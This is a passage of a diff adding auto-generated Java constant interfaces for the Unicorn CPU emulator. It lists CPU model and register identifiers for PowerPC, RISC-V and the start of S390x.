public static final int UC_CPU_PPC32_MPC8543_V10 = 106;
public static final int UC_CPU_PPC32_MPC8543_V11 = 107;
public static final int UC_CPU_PPC32_MPC8543_V20 = 108;
public static final int UC_CPU_PPC32_MPC8543_V21 = 109;
public static final int UC_CPU_PPC32_MPC8543E_V10 = 110;
public static final int UC_CPU_PPC32_MPC8543E_V11 = 111;
public static final int UC_CPU_PPC32_MPC8543E_V20 = 112;
public static final int UC_CPU_PPC32_MPC8543E_V21 = 113;
public static final int UC_CPU_PPC32_MPC8544_V10 = 114;
public static final int UC_CPU_PPC32_MPC8544_V11 = 115;
public static final int UC_CPU_PPC32_MPC8544E_V10 = 116;
public static final int UC_CPU_PPC32_MPC8544E_V11 = 117;
public static final int UC_CPU_PPC32_MPC8545_V20 = 118;
public static final int UC_CPU_PPC32_MPC8545_V21 = 119;
public static final int UC_CPU_PPC32_MPC8545E_V20 = 120;
public static final int UC_CPU_PPC32_MPC8545E_V21 = 121;
public static final int UC_CPU_PPC32_MPC8547E_V20 = 122;
public static final int UC_CPU_PPC32_MPC8547E_V21 = 123;
public static final int UC_CPU_PPC32_MPC8548_V10 = 124;
public static final int UC_CPU_PPC32_MPC8548_V11 = 125;
public static final int UC_CPU_PPC32_MPC8548_V20 = 126;
public static final int UC_CPU_PPC32_MPC8548_V21 = 127;
public static final int UC_CPU_PPC32_MPC8548E_V10 = 128;
public static final int UC_CPU_PPC32_MPC8548E_V11 = 129;
public static final int UC_CPU_PPC32_MPC8548E_V20 = 130;
public static final int UC_CPU_PPC32_MPC8548E_V21 = 131;
public static final int UC_CPU_PPC32_MPC8555_V10 = 132;
public static final int UC_CPU_PPC32_MPC8555_V11 = 133;
public static final int UC_CPU_PPC32_MPC8555E_V10 = 134;
public static final int UC_CPU_PPC32_MPC8555E_V11 = 135;
public static final int UC_CPU_PPC32_MPC8560_V10 = 136;
public static final int UC_CPU_PPC32_MPC8560_V20 = 137;
public static final int UC_CPU_PPC32_MPC8560_V21 = 138;
public static final int UC_CPU_PPC32_MPC8567 = 139;
public static final int UC_CPU_PPC32_MPC8567E = 140;
public static final int UC_CPU_PPC32_MPC8568 = 141;
public static final int UC_CPU_PPC32_MPC8568E = 142;
public static final int UC_CPU_PPC32_MPC8572 = 143;
public static final int UC_CPU_PPC32_MPC8572E = 144;
public static final int UC_CPU_PPC32_E600 = 145;
public static final int UC_CPU_PPC32_MPC8610 = 146;
public static final int UC_CPU_PPC32_MPC8641 = 147;
public static final int UC_CPU_PPC32_MPC8641D = 148;
public static final int UC_CPU_PPC32_601_V0 = 149;
public static final int UC_CPU_PPC32_601_V1 = 150;
public static final int UC_CPU_PPC32_601_V2 = 151;
public static final int UC_CPU_PPC32_602 = 152;
public static final int UC_CPU_PPC32_603 = 153;
public static final int UC_CPU_PPC32_603E_V1_1 = 154;
public static final int UC_CPU_PPC32_603E_V1_2 = 155;
public static final int UC_CPU_PPC32_603E_V1_3 = 156;
public static final int UC_CPU_PPC32_603E_V1_4 = 157;
public static final int UC_CPU_PPC32_603E_V2_2 = 158;
public static final int UC_CPU_PPC32_603E_V3 = 159;
public static final int UC_CPU_PPC32_603E_V4 = 160;
public static final int UC_CPU_PPC32_603E_V4_1 = 161;
public static final int UC_CPU_PPC32_603E7 = 162;
public static final int UC_CPU_PPC32_603E7T = 163;
public static final int UC_CPU_PPC32_603E7V = 164;
public static final int UC_CPU_PPC32_603E7V1 = 165;
public static final int UC_CPU_PPC32_603E7V2 = 166;
public static final int UC_CPU_PPC32_603P = 167;
public static final int UC_CPU_PPC32_604 = 168;
public static final int UC_CPU_PPC32_604E_V1_0 = 169;
public static final int UC_CPU_PPC32_604E_V2_2 = 170;
public static final int UC_CPU_PPC32_604E_V2_4 = 171;
public static final int UC_CPU_PPC32_604R = 172;
public static final int UC_CPU_PPC32_740_V1_0 = 173;
public static final int UC_CPU_PPC32_750_V1_0 = 174;
public static final int UC_CPU_PPC32_740_V2_0 = 175;
public static final int UC_CPU_PPC32_750_V2_0 = 176;
public static final int UC_CPU_PPC32_740_V2_1 = 177;
public static final int UC_CPU_PPC32_750_V2_1 = 178;
public static final int UC_CPU_PPC32_740_V2_2 = 179;
public static final int UC_CPU_PPC32_750_V2_2 = 180;
public static final int UC_CPU_PPC32_740_V3_0 = 181;
public static final int UC_CPU_PPC32_750_V3_0 = 182;
public static final int UC_CPU_PPC32_740_V3_1 = 183;
public static final int UC_CPU_PPC32_750_V3_1 = 184;
public static final int UC_CPU_PPC32_740E = 185;
public static final int UC_CPU_PPC32_750E = 186;
public static final int UC_CPU_PPC32_740P = 187;
public static final int UC_CPU_PPC32_750P = 188;
public static final int UC_CPU_PPC32_750CL_V1_0 = 189;
public static final int UC_CPU_PPC32_750CL_V2_0 = 190;
public static final int UC_CPU_PPC32_750CX_V1_0 = 191;
public static final int UC_CPU_PPC32_750CX_V2_0 = 192;
public static final int UC_CPU_PPC32_750CX_V2_1 = 193;
public static final int UC_CPU_PPC32_750CX_V2_2 = 194;
public static final int UC_CPU_PPC32_750CXE_V2_1 = 195;
public static final int UC_CPU_PPC32_750CXE_V2_2 = 196;
public static final int UC_CPU_PPC32_750CXE_V2_3 = 197;
public static final int UC_CPU_PPC32_750CXE_V2_4 = 198;
public static final int UC_CPU_PPC32_750CXE_V2_4B = 199;
public static final int UC_CPU_PPC32_750CXE_V3_0 = 200;
public static final int UC_CPU_PPC32_750CXE_V3_1 = 201;
public static final int UC_CPU_PPC32_750CXE_V3_1B = 202;
public static final int UC_CPU_PPC32_750CXR = 203;
public static final int UC_CPU_PPC32_750FL = 204;
public static final int UC_CPU_PPC32_750FX_V1_0 = 205;
public static final int UC_CPU_PPC32_750FX_V2_0 = 206;
public static final int UC_CPU_PPC32_750FX_V2_1 = 207;
public static final int UC_CPU_PPC32_750FX_V2_2 = 208;
public static final int UC_CPU_PPC32_750FX_V2_3 = 209;
public static final int UC_CPU_PPC32_750GL = 210;
public static final int UC_CPU_PPC32_750GX_V1_0 = 211;
public static final int UC_CPU_PPC32_750GX_V1_1 = 212;
public static final int UC_CPU_PPC32_750GX_V1_2 = 213;
public static final int UC_CPU_PPC32_750L_V2_0 = 214;
public static final int UC_CPU_PPC32_750L_V2_1 = 215;
public static final int UC_CPU_PPC32_750L_V2_2 = 216;
public static final int UC_CPU_PPC32_750L_V3_0 = 217;
public static final int UC_CPU_PPC32_750L_V3_2 = 218;
public static final int UC_CPU_PPC32_745_V1_0 = 219;
public static final int UC_CPU_PPC32_755_V1_0 = 220;
public static final int UC_CPU_PPC32_745_V1_1 = 221;
public static final int UC_CPU_PPC32_755_V1_1 = 222;
public static final int UC_CPU_PPC32_745_V2_0 = 223;
public static final int UC_CPU_PPC32_755_V2_0 = 224;
public static final int UC_CPU_PPC32_745_V2_1 = 225;
public static final int UC_CPU_PPC32_755_V2_1 = 226;
public static final int UC_CPU_PPC32_745_V2_2 = 227;
public static final int UC_CPU_PPC32_755_V2_2 = 228;
public static final int UC_CPU_PPC32_745_V2_3 = 229;
public static final int UC_CPU_PPC32_755_V2_3 = 230;
public static final int UC_CPU_PPC32_745_V2_4 = 231;
public static final int UC_CPU_PPC32_755_V2_4 = 232;
public static final int UC_CPU_PPC32_745_V2_5 = 233;
public static final int UC_CPU_PPC32_755_V2_5 = 234;
public static final int UC_CPU_PPC32_745_V2_6 = 235;
public static final int UC_CPU_PPC32_755_V2_6 = 236;
public static final int UC_CPU_PPC32_745_V2_7 = 237;
public static final int UC_CPU_PPC32_755_V2_7 = 238;
public static final int UC_CPU_PPC32_745_V2_8 = 239;
public static final int UC_CPU_PPC32_755_V2_8 = 240;
public static final int UC_CPU_PPC32_7400_V1_0 = 241;
public static final int UC_CPU_PPC32_7400_V1_1 = 242;
public static final int UC_CPU_PPC32_7400_V2_0 = 243;
public static final int UC_CPU_PPC32_7400_V2_1 = 244;
public static final int UC_CPU_PPC32_7400_V2_2 = 245;
public static final int UC_CPU_PPC32_7400_V2_6 = 246;
public static final int UC_CPU_PPC32_7400_V2_7 = 247;
public static final int UC_CPU_PPC32_7400_V2_8 = 248;
public static final int UC_CPU_PPC32_7400_V2_9 = 249;
public static final int UC_CPU_PPC32_7410_V1_0 = 250;
public static final int UC_CPU_PPC32_7410_V1_1 = 251;
public static final int UC_CPU_PPC32_7410_V1_2 = 252;
public static final int UC_CPU_PPC32_7410_V1_3 = 253;
public static final int UC_CPU_PPC32_7410_V1_4 = 254;
public static final int UC_CPU_PPC32_7448_V1_0 = 255;
public static final int UC_CPU_PPC32_7448_V1_1 = 256;
public static final int UC_CPU_PPC32_7448_V2_0 = 257;
public static final int UC_CPU_PPC32_7448_V2_1 = 258;
public static final int UC_CPU_PPC32_7450_V1_0 = 259;
public static final int UC_CPU_PPC32_7450_V1_1 = 260;
public static final int UC_CPU_PPC32_7450_V1_2 = 261;
public static final int UC_CPU_PPC32_7450_V2_0 = 262;
public static final int UC_CPU_PPC32_7450_V2_1 = 263;
public static final int UC_CPU_PPC32_7441_V2_1 = 264;
public static final int UC_CPU_PPC32_7441_V2_3 = 265;
public static final int UC_CPU_PPC32_7451_V2_3 = 266;
public static final int UC_CPU_PPC32_7441_V2_10 = 267;
public static final int UC_CPU_PPC32_7451_V2_10 = 268;
public static final int UC_CPU_PPC32_7445_V1_0 = 269;
public static final int UC_CPU_PPC32_7455_V1_0 = 270;
public static final int UC_CPU_PPC32_7445_V2_1 = 271;
public static final int UC_CPU_PPC32_7455_V2_1 = 272;
public static final int UC_CPU_PPC32_7445_V3_2 = 273;
public static final int UC_CPU_PPC32_7455_V3_2 = 274;
public static final int UC_CPU_PPC32_7445_V3_3 = 275;
public static final int UC_CPU_PPC32_7455_V3_3 = 276;
public static final int UC_CPU_PPC32_7445_V3_4 = 277;
public static final int UC_CPU_PPC32_7455_V3_4 = 278;
public static final int UC_CPU_PPC32_7447_V1_0 = 279;
public static final int UC_CPU_PPC32_7457_V1_0 = 280;
public static final int UC_CPU_PPC32_7447_V1_1 = 281;
public static final int UC_CPU_PPC32_7457_V1_1 = 282;
public static final int UC_CPU_PPC32_7457_V1_2 = 283;
public static final int UC_CPU_PPC32_7447A_V1_0 = 284;
public static final int UC_CPU_PPC32_7457A_V1_0 = 285;
public static final int UC_CPU_PPC32_7447A_V1_1 = 286;
public static final int UC_CPU_PPC32_7457A_V1_1 = 287;
public static final int UC_CPU_PPC32_7447A_V1_2 = 288;
public static final int UC_CPU_PPC32_7457A_V1_2 = 289;
public static final int UC_CPU_PPC32_ENDING = 290;
// PPC64 CPU
public static final int UC_CPU_PPC64_E5500 = 0;
public static final int UC_CPU_PPC64_E6500 = 1;
public static final int UC_CPU_PPC64_970_V2_2 = 2;
public static final int UC_CPU_PPC64_970FX_V1_0 = 3;
public static final int UC_CPU_PPC64_970FX_V2_0 = 4;
public static final int UC_CPU_PPC64_970FX_V2_1 = 5;
public static final int UC_CPU_PPC64_970FX_V3_0 = 6;
public static final int UC_CPU_PPC64_970FX_V3_1 = 7;
public static final int UC_CPU_PPC64_970MP_V1_0 = 8;
public static final int UC_CPU_PPC64_970MP_V1_1 = 9;
public static final int UC_CPU_PPC64_POWER5_V2_1 = 10;
public static final int UC_CPU_PPC64_POWER7_V2_3 = 11;
public static final int UC_CPU_PPC64_POWER7_V2_1 = 12;
public static final int UC_CPU_PPC64_POWER8E_V2_1 = 13;
public static final int UC_CPU_PPC64_POWER8_V2_0 = 14;
public static final int UC_CPU_PPC64_POWER8NVL_V1_0 = 15;
public static final int UC_CPU_PPC64_POWER9_V1_0 = 16;
public static final int UC_CPU_PPC64_POWER9_V2_0 = 17;
public static final int UC_CPU_PPC64_POWER10_V1_0 = 18;
public static final int UC_CPU_PPC64_ENDING = 19;
// PPC registers
public static final int UC_PPC_REG_INVALID = 0;
// General purpose registers
public static final int UC_PPC_REG_PC = 1;
public static final int UC_PPC_REG_0 = 2;
public static final int UC_PPC_REG_1 = 3;
public static final int UC_PPC_REG_2 = 4;
public static final int UC_PPC_REG_3 = 5;
public static final int UC_PPC_REG_4 = 6;
public static final int UC_PPC_REG_5 = 7;
public static final int UC_PPC_REG_6 = 8;
public static final int UC_PPC_REG_7 = 9;
public static final int UC_PPC_REG_8 = 10;
public static final int UC_PPC_REG_9 = 11;
public static final int UC_PPC_REG_10 = 12;
public static final int UC_PPC_REG_11 = 13;
public static final int UC_PPC_REG_12 = 14;
public static final int UC_PPC_REG_13 = 15;
public static final int UC_PPC_REG_14 = 16;
public static final int UC_PPC_REG_15 = 17;
public static final int UC_PPC_REG_16 = 18;
public static final int UC_PPC_REG_17 = 19;
public static final int UC_PPC_REG_18 = 20;
public static final int UC_PPC_REG_19 = 21;
public static final int UC_PPC_REG_20 = 22;
public static final int UC_PPC_REG_21 = 23;
public static final int UC_PPC_REG_22 = 24;
public static final int UC_PPC_REG_23 = 25;
public static final int UC_PPC_REG_24 = 26;
public static final int UC_PPC_REG_25 = 27;
public static final int UC_PPC_REG_26 = 28;
public static final int UC_PPC_REG_27 = 29;
public static final int UC_PPC_REG_28 = 30;
public static final int UC_PPC_REG_29 = 31;
public static final int UC_PPC_REG_30 = 32;
public static final int UC_PPC_REG_31 = 33;
public static final int UC_PPC_REG_CR0 = 34;
public static final int UC_PPC_REG_CR1 = 35;
public static final int UC_PPC_REG_CR2 = 36;
public static final int UC_PPC_REG_CR3 = 37;
public static final int UC_PPC_REG_CR4 = 38;
public static final int UC_PPC_REG_CR5 = 39;
public static final int UC_PPC_REG_CR6 = 40;
public static final int UC_PPC_REG_CR7 = 41;
public static final int UC_PPC_REG_FPR0 = 42;
public static final int UC_PPC_REG_FPR1 = 43;
public static final int UC_PPC_REG_FPR2 = 44;
public static final int UC_PPC_REG_FPR3 = 45;
public static final int UC_PPC_REG_FPR4 = 46;
public static final int UC_PPC_REG_FPR5 = 47;
public static final int UC_PPC_REG_FPR6 = 48;
public static final int UC_PPC_REG_FPR7 = 49;
public static final int UC_PPC_REG_FPR8 = 50;
public static final int UC_PPC_REG_FPR9 = 51;
public static final int UC_PPC_REG_FPR10 = 52;
public static final int UC_PPC_REG_FPR11 = 53;
public static final int UC_PPC_REG_FPR12 = 54;
public static final int UC_PPC_REG_FPR13 = 55;
public static final int UC_PPC_REG_FPR14 = 56;
public static final int UC_PPC_REG_FPR15 = 57;
public static final int UC_PPC_REG_FPR16 = 58;
public static final int UC_PPC_REG_FPR17 = 59;
public static final int UC_PPC_REG_FPR18 = 60;
public static final int UC_PPC_REG_FPR19 = 61;
public static final int UC_PPC_REG_FPR20 = 62;
public static final int UC_PPC_REG_FPR21 = 63;
public static final int UC_PPC_REG_FPR22 = 64;
public static final int UC_PPC_REG_FPR23 = 65;
public static final int UC_PPC_REG_FPR24 = 66;
public static final int UC_PPC_REG_FPR25 = 67;
public static final int UC_PPC_REG_FPR26 = 68;
public static final int UC_PPC_REG_FPR27 = 69;
public static final int UC_PPC_REG_FPR28 = 70;
public static final int UC_PPC_REG_FPR29 = 71;
public static final int UC_PPC_REG_FPR30 = 72;
public static final int UC_PPC_REG_FPR31 = 73;
public static final int UC_PPC_REG_LR = 74;
public static final int UC_PPC_REG_XER = 75;
public static final int UC_PPC_REG_CTR = 76;
public static final int UC_PPC_REG_MSR = 77;
public static final int UC_PPC_REG_FPSCR = 78;
public static final int UC_PPC_REG_CR = 79;
public static final int UC_PPC_REG_ENDING = 80;
}

View File

@@ -0,0 +1,291 @@
// For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT
package unicorn;
public interface RiscvConst {
// RISCV32 CPU
public static final int UC_CPU_RISCV32_ANY = 0;
public static final int UC_CPU_RISCV32_BASE32 = 1;
public static final int UC_CPU_RISCV32_SIFIVE_E31 = 2;
public static final int UC_CPU_RISCV32_SIFIVE_U34 = 3;
public static final int UC_CPU_RISCV32_ENDING = 4;
// RISCV64 CPU
public static final int UC_CPU_RISCV64_ANY = 0;
public static final int UC_CPU_RISCV64_BASE64 = 1;
public static final int UC_CPU_RISCV64_SIFIVE_E51 = 2;
public static final int UC_CPU_RISCV64_SIFIVE_U54 = 3;
public static final int UC_CPU_RISCV64_ENDING = 4;
// RISCV registers
public static final int UC_RISCV_REG_INVALID = 0;
// General purpose registers
public static final int UC_RISCV_REG_X0 = 1;
public static final int UC_RISCV_REG_X1 = 2;
public static final int UC_RISCV_REG_X2 = 3;
public static final int UC_RISCV_REG_X3 = 4;
public static final int UC_RISCV_REG_X4 = 5;
public static final int UC_RISCV_REG_X5 = 6;
public static final int UC_RISCV_REG_X6 = 7;
public static final int UC_RISCV_REG_X7 = 8;
public static final int UC_RISCV_REG_X8 = 9;
public static final int UC_RISCV_REG_X9 = 10;
public static final int UC_RISCV_REG_X10 = 11;
public static final int UC_RISCV_REG_X11 = 12;
public static final int UC_RISCV_REG_X12 = 13;
public static final int UC_RISCV_REG_X13 = 14;
public static final int UC_RISCV_REG_X14 = 15;
public static final int UC_RISCV_REG_X15 = 16;
public static final int UC_RISCV_REG_X16 = 17;
public static final int UC_RISCV_REG_X17 = 18;
public static final int UC_RISCV_REG_X18 = 19;
public static final int UC_RISCV_REG_X19 = 20;
public static final int UC_RISCV_REG_X20 = 21;
public static final int UC_RISCV_REG_X21 = 22;
public static final int UC_RISCV_REG_X22 = 23;
public static final int UC_RISCV_REG_X23 = 24;
public static final int UC_RISCV_REG_X24 = 25;
public static final int UC_RISCV_REG_X25 = 26;
public static final int UC_RISCV_REG_X26 = 27;
public static final int UC_RISCV_REG_X27 = 28;
public static final int UC_RISCV_REG_X28 = 29;
public static final int UC_RISCV_REG_X29 = 30;
public static final int UC_RISCV_REG_X30 = 31;
public static final int UC_RISCV_REG_X31 = 32;
// RISCV CSR
public static final int UC_RISCV_REG_USTATUS = 33;
public static final int UC_RISCV_REG_UIE = 34;
public static final int UC_RISCV_REG_UTVEC = 35;
public static final int UC_RISCV_REG_USCRATCH = 36;
public static final int UC_RISCV_REG_UEPC = 37;
public static final int UC_RISCV_REG_UCAUSE = 38;
public static final int UC_RISCV_REG_UTVAL = 39;
public static final int UC_RISCV_REG_UIP = 40;
public static final int UC_RISCV_REG_FFLAGS = 41;
public static final int UC_RISCV_REG_FRM = 42;
public static final int UC_RISCV_REG_FCSR = 43;
public static final int UC_RISCV_REG_CYCLE = 44;
public static final int UC_RISCV_REG_TIME = 45;
public static final int UC_RISCV_REG_INSTRET = 46;
public static final int UC_RISCV_REG_HPMCOUNTER3 = 47;
public static final int UC_RISCV_REG_HPMCOUNTER4 = 48;
public static final int UC_RISCV_REG_HPMCOUNTER5 = 49;
public static final int UC_RISCV_REG_HPMCOUNTER6 = 50;
public static final int UC_RISCV_REG_HPMCOUNTER7 = 51;
public static final int UC_RISCV_REG_HPMCOUNTER8 = 52;
public static final int UC_RISCV_REG_HPMCOUNTER9 = 53;
public static final int UC_RISCV_REG_HPMCOUNTER10 = 54;
public static final int UC_RISCV_REG_HPMCOUNTER11 = 55;
public static final int UC_RISCV_REG_HPMCOUNTER12 = 56;
public static final int UC_RISCV_REG_HPMCOUNTER13 = 57;
public static final int UC_RISCV_REG_HPMCOUNTER14 = 58;
public static final int UC_RISCV_REG_HPMCOUNTER15 = 59;
public static final int UC_RISCV_REG_HPMCOUNTER16 = 60;
public static final int UC_RISCV_REG_HPMCOUNTER17 = 61;
public static final int UC_RISCV_REG_HPMCOUNTER18 = 62;
public static final int UC_RISCV_REG_HPMCOUNTER19 = 63;
public static final int UC_RISCV_REG_HPMCOUNTER20 = 64;
public static final int UC_RISCV_REG_HPMCOUNTER21 = 65;
public static final int UC_RISCV_REG_HPMCOUNTER22 = 66;
public static final int UC_RISCV_REG_HPMCOUNTER23 = 67;
public static final int UC_RISCV_REG_HPMCOUNTER24 = 68;
public static final int UC_RISCV_REG_HPMCOUNTER25 = 69;
public static final int UC_RISCV_REG_HPMCOUNTER26 = 70;
public static final int UC_RISCV_REG_HPMCOUNTER27 = 71;
public static final int UC_RISCV_REG_HPMCOUNTER28 = 72;
public static final int UC_RISCV_REG_HPMCOUNTER29 = 73;
public static final int UC_RISCV_REG_HPMCOUNTER30 = 74;
public static final int UC_RISCV_REG_HPMCOUNTER31 = 75;
public static final int UC_RISCV_REG_CYCLEH = 76;
public static final int UC_RISCV_REG_TIMEH = 77;
public static final int UC_RISCV_REG_INSTRETH = 78;
public static final int UC_RISCV_REG_HPMCOUNTER3H = 79;
public static final int UC_RISCV_REG_HPMCOUNTER4H = 80;
public static final int UC_RISCV_REG_HPMCOUNTER5H = 81;
public static final int UC_RISCV_REG_HPMCOUNTER6H = 82;
public static final int UC_RISCV_REG_HPMCOUNTER7H = 83;
public static final int UC_RISCV_REG_HPMCOUNTER8H = 84;
public static final int UC_RISCV_REG_HPMCOUNTER9H = 85;
public static final int UC_RISCV_REG_HPMCOUNTER10H = 86;
public static final int UC_RISCV_REG_HPMCOUNTER11H = 87;
public static final int UC_RISCV_REG_HPMCOUNTER12H = 88;
public static final int UC_RISCV_REG_HPMCOUNTER13H = 89;
public static final int UC_RISCV_REG_HPMCOUNTER14H = 90;
public static final int UC_RISCV_REG_HPMCOUNTER15H = 91;
public static final int UC_RISCV_REG_HPMCOUNTER16H = 92;
public static final int UC_RISCV_REG_HPMCOUNTER17H = 93;
public static final int UC_RISCV_REG_HPMCOUNTER18H = 94;
public static final int UC_RISCV_REG_HPMCOUNTER19H = 95;
public static final int UC_RISCV_REG_HPMCOUNTER20H = 96;
public static final int UC_RISCV_REG_HPMCOUNTER21H = 97;
public static final int UC_RISCV_REG_HPMCOUNTER22H = 98;
public static final int UC_RISCV_REG_HPMCOUNTER23H = 99;
public static final int UC_RISCV_REG_HPMCOUNTER24H = 100;
public static final int UC_RISCV_REG_HPMCOUNTER25H = 101;
public static final int UC_RISCV_REG_HPMCOUNTER26H = 102;
public static final int UC_RISCV_REG_HPMCOUNTER27H = 103;
public static final int UC_RISCV_REG_HPMCOUNTER28H = 104;
public static final int UC_RISCV_REG_HPMCOUNTER29H = 105;
public static final int UC_RISCV_REG_HPMCOUNTER30H = 106;
public static final int UC_RISCV_REG_HPMCOUNTER31H = 107;
public static final int UC_RISCV_REG_MCYCLE = 108;
public static final int UC_RISCV_REG_MINSTRET = 109;
public static final int UC_RISCV_REG_MCYCLEH = 110;
public static final int UC_RISCV_REG_MINSTRETH = 111;
public static final int UC_RISCV_REG_MVENDORID = 112;
public static final int UC_RISCV_REG_MARCHID = 113;
public static final int UC_RISCV_REG_MIMPID = 114;
public static final int UC_RISCV_REG_MHARTID = 115;
public static final int UC_RISCV_REG_MSTATUS = 116;
public static final int UC_RISCV_REG_MISA = 117;
public static final int UC_RISCV_REG_MEDELEG = 118;
public static final int UC_RISCV_REG_MIDELEG = 119;
public static final int UC_RISCV_REG_MIE = 120;
public static final int UC_RISCV_REG_MTVEC = 121;
public static final int UC_RISCV_REG_MCOUNTEREN = 122;
public static final int UC_RISCV_REG_MSTATUSH = 123;
public static final int UC_RISCV_REG_MUCOUNTEREN = 124;
public static final int UC_RISCV_REG_MSCOUNTEREN = 125;
public static final int UC_RISCV_REG_MHCOUNTEREN = 126;
public static final int UC_RISCV_REG_MSCRATCH = 127;
public static final int UC_RISCV_REG_MEPC = 128;
public static final int UC_RISCV_REG_MCAUSE = 129;
public static final int UC_RISCV_REG_MTVAL = 130;
public static final int UC_RISCV_REG_MIP = 131;
public static final int UC_RISCV_REG_MBADADDR = 132;
public static final int UC_RISCV_REG_SSTATUS = 133;
public static final int UC_RISCV_REG_SEDELEG = 134;
public static final int UC_RISCV_REG_SIDELEG = 135;
public static final int UC_RISCV_REG_SIE = 136;
public static final int UC_RISCV_REG_STVEC = 137;
public static final int UC_RISCV_REG_SCOUNTEREN = 138;
public static final int UC_RISCV_REG_SSCRATCH = 139;
public static final int UC_RISCV_REG_SEPC = 140;
public static final int UC_RISCV_REG_SCAUSE = 141;
public static final int UC_RISCV_REG_STVAL = 142;
public static final int UC_RISCV_REG_SIP = 143;
public static final int UC_RISCV_REG_SBADADDR = 144;
public static final int UC_RISCV_REG_SPTBR = 145;
public static final int UC_RISCV_REG_SATP = 146;
public static final int UC_RISCV_REG_HSTATUS = 147;
public static final int UC_RISCV_REG_HEDELEG = 148;
public static final int UC_RISCV_REG_HIDELEG = 149;
public static final int UC_RISCV_REG_HIE = 150;
public static final int UC_RISCV_REG_HCOUNTEREN = 151;
public static final int UC_RISCV_REG_HTVAL = 152;
public static final int UC_RISCV_REG_HIP = 153;
public static final int UC_RISCV_REG_HTINST = 154;
public static final int UC_RISCV_REG_HGATP = 155;
public static final int UC_RISCV_REG_HTIMEDELTA = 156;
public static final int UC_RISCV_REG_HTIMEDELTAH = 157;
// Floating-point registers
public static final int UC_RISCV_REG_F0 = 158;
public static final int UC_RISCV_REG_F1 = 159;
public static final int UC_RISCV_REG_F2 = 160;
public static final int UC_RISCV_REG_F3 = 161;
public static final int UC_RISCV_REG_F4 = 162;
public static final int UC_RISCV_REG_F5 = 163;
public static final int UC_RISCV_REG_F6 = 164;
public static final int UC_RISCV_REG_F7 = 165;
public static final int UC_RISCV_REG_F8 = 166;
public static final int UC_RISCV_REG_F9 = 167;
public static final int UC_RISCV_REG_F10 = 168;
public static final int UC_RISCV_REG_F11 = 169;
public static final int UC_RISCV_REG_F12 = 170;
public static final int UC_RISCV_REG_F13 = 171;
public static final int UC_RISCV_REG_F14 = 172;
public static final int UC_RISCV_REG_F15 = 173;
public static final int UC_RISCV_REG_F16 = 174;
public static final int UC_RISCV_REG_F17 = 175;
public static final int UC_RISCV_REG_F18 = 176;
public static final int UC_RISCV_REG_F19 = 177;
public static final int UC_RISCV_REG_F20 = 178;
public static final int UC_RISCV_REG_F21 = 179;
public static final int UC_RISCV_REG_F22 = 180;
public static final int UC_RISCV_REG_F23 = 181;
public static final int UC_RISCV_REG_F24 = 182;
public static final int UC_RISCV_REG_F25 = 183;
public static final int UC_RISCV_REG_F26 = 184;
public static final int UC_RISCV_REG_F27 = 185;
public static final int UC_RISCV_REG_F28 = 186;
public static final int UC_RISCV_REG_F29 = 187;
public static final int UC_RISCV_REG_F30 = 188;
public static final int UC_RISCV_REG_F31 = 189;
public static final int UC_RISCV_REG_PC = 190;
public static final int UC_RISCV_REG_ENDING = 191;
// Alias registers
public static final int UC_RISCV_REG_ZERO = 1;
public static final int UC_RISCV_REG_RA = 2;
public static final int UC_RISCV_REG_SP = 3;
public static final int UC_RISCV_REG_GP = 4;
public static final int UC_RISCV_REG_TP = 5;
public static final int UC_RISCV_REG_T0 = 6;
public static final int UC_RISCV_REG_T1 = 7;
public static final int UC_RISCV_REG_T2 = 8;
public static final int UC_RISCV_REG_S0 = 9;
public static final int UC_RISCV_REG_FP = 9;
public static final int UC_RISCV_REG_S1 = 10;
public static final int UC_RISCV_REG_A0 = 11;
public static final int UC_RISCV_REG_A1 = 12;
public static final int UC_RISCV_REG_A2 = 13;
public static final int UC_RISCV_REG_A3 = 14;
public static final int UC_RISCV_REG_A4 = 15;
public static final int UC_RISCV_REG_A5 = 16;
public static final int UC_RISCV_REG_A6 = 17;
public static final int UC_RISCV_REG_A7 = 18;
public static final int UC_RISCV_REG_S2 = 19;
public static final int UC_RISCV_REG_S3 = 20;
public static final int UC_RISCV_REG_S4 = 21;
public static final int UC_RISCV_REG_S5 = 22;
public static final int UC_RISCV_REG_S6 = 23;
public static final int UC_RISCV_REG_S7 = 24;
public static final int UC_RISCV_REG_S8 = 25;
public static final int UC_RISCV_REG_S9 = 26;
public static final int UC_RISCV_REG_S10 = 27;
public static final int UC_RISCV_REG_S11 = 28;
public static final int UC_RISCV_REG_T3 = 29;
public static final int UC_RISCV_REG_T4 = 30;
public static final int UC_RISCV_REG_T5 = 31;
public static final int UC_RISCV_REG_T6 = 32;
public static final int UC_RISCV_REG_FT0 = 158;
public static final int UC_RISCV_REG_FT1 = 159;
public static final int UC_RISCV_REG_FT2 = 160;
public static final int UC_RISCV_REG_FT3 = 161;
public static final int UC_RISCV_REG_FT4 = 162;
public static final int UC_RISCV_REG_FT5 = 163;
public static final int UC_RISCV_REG_FT6 = 164;
public static final int UC_RISCV_REG_FT7 = 165;
public static final int UC_RISCV_REG_FS0 = 166;
public static final int UC_RISCV_REG_FS1 = 167;
public static final int UC_RISCV_REG_FA0 = 168;
public static final int UC_RISCV_REG_FA1 = 169;
public static final int UC_RISCV_REG_FA2 = 170;
public static final int UC_RISCV_REG_FA3 = 171;
public static final int UC_RISCV_REG_FA4 = 172;
public static final int UC_RISCV_REG_FA5 = 173;
public static final int UC_RISCV_REG_FA6 = 174;
public static final int UC_RISCV_REG_FA7 = 175;
public static final int UC_RISCV_REG_FS2 = 176;
public static final int UC_RISCV_REG_FS3 = 177;
public static final int UC_RISCV_REG_FS4 = 178;
public static final int UC_RISCV_REG_FS5 = 179;
public static final int UC_RISCV_REG_FS6 = 180;
public static final int UC_RISCV_REG_FS7 = 181;
public static final int UC_RISCV_REG_FS8 = 182;
public static final int UC_RISCV_REG_FS9 = 183;
public static final int UC_RISCV_REG_FS10 = 184;
public static final int UC_RISCV_REG_FS11 = 185;
public static final int UC_RISCV_REG_FT8 = 186;
public static final int UC_RISCV_REG_FT9 = 187;
public static final int UC_RISCV_REG_FT10 = 188;
public static final int UC_RISCV_REG_FT11 = 189;
}

View File

@@ -0,0 +1,128 @@
// For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT
package unicorn;
public interface S390xConst {
// S390X CPU
public static final int UC_CPU_S390X_Z900 = 0;
public static final int UC_CPU_S390X_Z900_2 = 1;
public static final int UC_CPU_S390X_Z900_3 = 2;
public static final int UC_CPU_S390X_Z800 = 3;
public static final int UC_CPU_S390X_Z990 = 4;
public static final int UC_CPU_S390X_Z990_2 = 5;
public static final int UC_CPU_S390X_Z990_3 = 6;
